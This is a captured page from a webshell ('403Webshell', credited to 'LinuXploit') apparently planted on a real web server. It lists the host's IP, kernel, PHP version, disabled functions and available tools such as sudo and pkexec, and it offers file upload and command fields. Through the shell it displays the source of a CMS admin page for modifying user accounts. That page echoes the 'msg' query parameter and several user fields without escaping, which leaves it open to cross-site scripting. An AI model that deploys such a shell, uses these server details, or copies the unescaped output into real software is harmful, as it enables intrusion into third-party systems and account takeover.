403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/littleark/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/littleark/webadmin/sys_cms_user_modifyform.php
<?php
	$page_settings = array(
		'formid'     => 'Sys_cms_user', // for permission
		'section'    => 'System Setting', // parent/page title
		'subsection' => 'User Management', // page title
		'domain'     => 'sys_cms_user', // table/model name
		'access'     => 'GNr', // for permission
	);

	require_once "check_login.php";

	$action = 'Modify'; // Add or Modify

	$row = SysCmsLogin::where('cmsloginid', '=', (int)$_GET["cmsloginid"])->first();

	if (!empty($row["supplier_id"])) {
		$supplier_info = Supplier::find($row["supplier_id"]);
	}

	if (!empty($row["agent_id"])) {
		$agent_info = Agent::find($row["agent_id"]);
	}

	$login_user_info = SysCmsLogin::where('cmsloginid', '=', (int)$_SESSION["cmsloginid"])->first();

	$row99 = SysCmsLogin::where('cmsloginid', '=', $row["lastupby"])->first();

	$suppliers = Supplier::whereDeleted(0)->orderBy("name_" . $_SESSION["wlangcode"], "ASC")->get();

	$agents = Agent::whereDeleted(0)->where("status", "ACTIVE")->orderBy("code", "ASC")->get();
?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once "_html_head.php"; ?>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">

	<?php require_once "_header.php"; ?>

	<?php require_once "_menu.php"; ?>

	<!-- Content Wrapper. Contains page content -->
	<div class="content-wrapper">
		<!-- Content Header (Page header) -->
		<section class="content-header">

			<h1>
				<?= _lang($page_settings['subsection']) ?>
				<small><?= _lang("Update") ?></small>
			</h1>

			<ol class="breadcrumb">
				<li><a href="#"><i class="fa fa-dashboard"></i> <?= _lang($page_settings['section']) ?></a></li>
				<li class="active">
					<a href="<?= $page_settings['domain'] ?>_index.php"><?= _lang($page_settings['subsection']) ?></a>
				</li>
			</ol>

		</section>

		<!-- Main content -->
		<section class="content">

			<!-- Your Page Content Here -->

			<!-- main form -->
			<form action="<?= $page_settings['domain'] ?>_modify.php" class="myform" id="myform" method="POST" enctype="multipart/form-data">
				<input type="hidden" name="cmsloginid" value="<?= _h($row['cmsloginid']) ?>"/>

				<div class="row">
					<div class="col-xs-12">
						<div class="box">

							<div class="box-header">
								<div class="row col-md-12" data-spy="affix" data-offset="200" style="z-index: 20;">
									<div class="col-md-3">
										<div class="btn-group">
											<a href="<?= $page_settings['domain'] ?>_index.php" class="btn btn-default"><i class="fa fa-chevron-left" aria-hidden="true"></i> <?= _lang('Cancel') ?>
											</a>

											<button type="submit" class="btn btn-primary">
												<i class="fa fa-floppy-o" aria-hidden="true"></i> <?= _lang('Save') ?>
											</button>
										</div>
									</div>
									<div class="col-md-6">
										<!--<h3 class="box-title"><? /*= _h($row["name_{$_SESSION["wlangcode"]}"]) */ ?>
											(<? /*= _h($row["code"]) */ ?>)</h3>-->
									</div>
									<div class="col-md-3">
										<em><?= _lang('Updated') ?>:
											<time><?= _h($row["lastupdate"]) ?></time>
											(<?= _h($row99["cmsusername"]) ?>)</em>
									</div>

									<div class="col-md-12 msg">
										<?php if (isset($_GET["msg"])) echo $_GET['msg']; ?>
									</div>
								</div>
							</div>

							<!-- /.box-header -->
							<div class="box-body">

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-2 control-label required_field"><?= _lang("User Name") ?>
									</label>

									<div class="col-sm-10 form-group">
										<input type="text" name="username" value="<?= $row["cmsusername"] ?>" id="username" class="form-control input-sm" autofocus="">
									</div>
								</div>

								<?php if ($row["is_platform"] == 1) { ?>
									<div class="col-md-12 form-group">
										<label for="" class="col-sm-2 control-label required_field"><?= _lang("Role Type") ?></label>

										<div class="col-sm-10 form-group">

											<div class="radio">
												<label>
													<input type="radio" name="role_type" id="is_platform" value="PLATFORM" class="role_type" <?= $row["is_platform"] == 1 ? "checked" : "" ?> >
													<?= _lang("Platform") ?></label>
											</div>

											<div class="radio">
												<label>
													<input type="radio" name="role_type" id="is_supplier" value="SUPPLIER" class="role_type" <?= $row["is_supplier"] == 1 ? "checked" : "" ?>>
													<?= _lang("Supplier") ?></label>
											</div>

											<div class="radio">
												<label>
													<input type="radio" name="role_type" id="is_agent" value="AGENT" class="role_type">
													<?= _lang("Agent") ?></label>
											</div>
										</div>
									</div>

									<div class="col-md-12 form-group supplier_list" style="<?= $row["is_supplier"] == 1 ? "display: block;" : "display: none;" ?>">
										<label for="" class="col-sm-2 control-label required_field"><?= _lang("Supplier") ?></label>

										<div class="col-sm-10 form-group">

											<select class="form-control select2" name="supplier_id" style="width: 100%;">
												<option value=""></option>
												<?php
													foreach ($suppliers as $supplier) {
														echo '<option value="' . $supplier["id"] . '" ' . ($supplier["id"] == $row["supplier_id"] ? "selected" : "") . '>' . $supplier["name_" . $_SESSION["wlangcode"]] . '</option>';
													}
												?>
											</select>

										</div>
									</div>

									<div class="col-md-12 form-group agent_list" style="<?= $row["is_agent"] == 1 ? "display: block;" : "display: none;" ?>">
										<label for="" class="col-sm-2 control-label required_field"><?= _lang("Agent") ?></label>

										<div class="col-sm-10 form-group">

											<select class="form-control select2" name="agent_id" style="width: 100%;">
												<option value=""></option>
												<?php
													foreach ($agents as $agent) {
														echo '<option value="' . $agent["id"] . '" ' . ($agent["id"] == $row["agent_id"] ? "selected" : "") . '>' . $agent["name_" . $_SESSION["wlangcode"]] . '</option>';
													}
												?>
											</select>

										</div>
									</div>
								<?php } else if ($row["is_supplier"]) { ?>
									<div class="col-md-12 form-group">
										<label for="" class="col-sm-2 control-label required_field"><?= _lang("Supplier") ?></label>

										<div class="col-sm-10 form-group">
											<?= $supplier_info["name_" . $_SESSION["wlangcode"]] ?>
										</div>
									</div>
								<?php } else if ($row["is_agent"]) { ?>
									<div class="col-md-12 form-group">
										<label for="" class="col-sm-2 control-label required_field"><?= _lang("Agent") ?></label>

										<div class="col-sm-10 form-group">
											<?= $agent_info["name_" . $_SESSION["wlangcode"]] ?>
										</div>
									</div>
								<?php } ?>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-2 control-label required_field"><?= _lang("Role Level") ?></label>

									<div class="col-sm-10 form-group">

										<select class="form-control input-sm" name="role_level" data-value="">
											<?php
												if ($login_user_info["cmsrole"] == "super_admin") {
													echo '<option value="super_admin" ' . ($row["cmsrole"] == 'super_admin' ? 'selected' : '') . '>' . lang("Super-Admin") . '</option>';
													echo '<option value="admin" ' . ($row["cmsrole"] == 'admin' ? 'selected' : '') . '>' . lang("User-Admin") . '</option>';
													echo '<option value="user" ' . ($row["cmsrole"] == 'user' ? 'selected' : '') . '>' . lang("User") . '</option>';
												} else if ($login_user_info["cmsrole"] == "admin") {
													echo '<option value="admin" ' . ($row["cmsrole"] == 'admin' ? 'selected' : '') . '>' . lang("User-Admin") . '</option>';
													echo '<option value="user" ' . ($row["cmsrole"] == 'user' ? 'selected' : '') . '>' . lang("User") . '</option>';
												} else {
													echo '<option value="user" ' . ($row["cmsrole"] == 'user' ? 'selected' : '') . '>' . lang("User") . '</option>';
												}
											?>
										</select>

										<?php
											/*if ($row{'cmsrole'} == 'super_admin')
												echo _lang('Super-Admin');
											else if ($row{'cmsrole'} == 'admin')
												echo _lang('User-Admin');
											else
												echo _lang('User');*/
										?>

									</div>
								</div>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-2 control-label required_field"><?= _lang("Login Name") ?>
									</label>

									<div class="col-sm-10 form-group">
										<input type="text" name="loginname" value="<?= $row["cmsloginname"] ?>" id="loginname" class="form-control input-sm" autofocus="">
									</div>
								</div>

								<div class="col-md-12 form-group">
									<label for="" class="col-sm-2 control-label"><?= _lang("Password") ?>
									</label>

									<div class="col-sm-10 form-group">
										<input type="password" name="loginpw" id="loginpw" class="form-control input-sm" autofocus="">

										<p class="help-block">
											<?= _lang("Length:8-15") ?>
										</p>

									</div>
								</div>

							</div>
							<!-- /.box-body -->
						</div>
						<!-- /.box -->
					</div>
					<!-- /.col -->
				</div>
				<!-- /.row -->
			</form>

			<!-- End of Your Page Content Here -->

		</section><!-- /.content -->
	</div><!-- /.content-wrapper -->

	<?php require_once "_footer.php"; ?>

	<?php require_once "_aside.php"; ?>

</div><!-- ./wrapper -->

<!-- REQUIRED JS SCRIPTS -->
<?php require_once "_html_script.php"; ?>

<script type="text/javascript">
	$(function () {
		if ($("#is_supplier").prop("checked")) {
			$(".supplier_list").show();
		} else {
			$(".supplier_list").hide();
		}

		if ($("#is_agent").prop("checked")) {
			$(".agent_list").show();
		} else {
			$(".agent_list").hide();
		}

		$(".role_type").on("click", function () {
			if ($("#is_supplier").prop("checked")) {
				$(".supplier_list").show();
			} else {
				$(".supplier_list").hide();
			}

			if ($("#is_agent").prop("checked")) {
				$(".agent_list").show();
			} else {
				$(".agent_list").hide();
			}
		});

		<?php if($login_user_info["is_agent"]){ ?>
		$(".supplier_list").show();
		<?php } ?>

	});
</script>

<script src="js/jquery.validate.min.js"></script>
<script type="text/javascript">
	$(document).ready(function (e) {
		$("#myform").validate();
	});
</script>
<?= Password::ajax_validate('loginpw', 'ajax_passwordChecker.php', 'username', false) ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit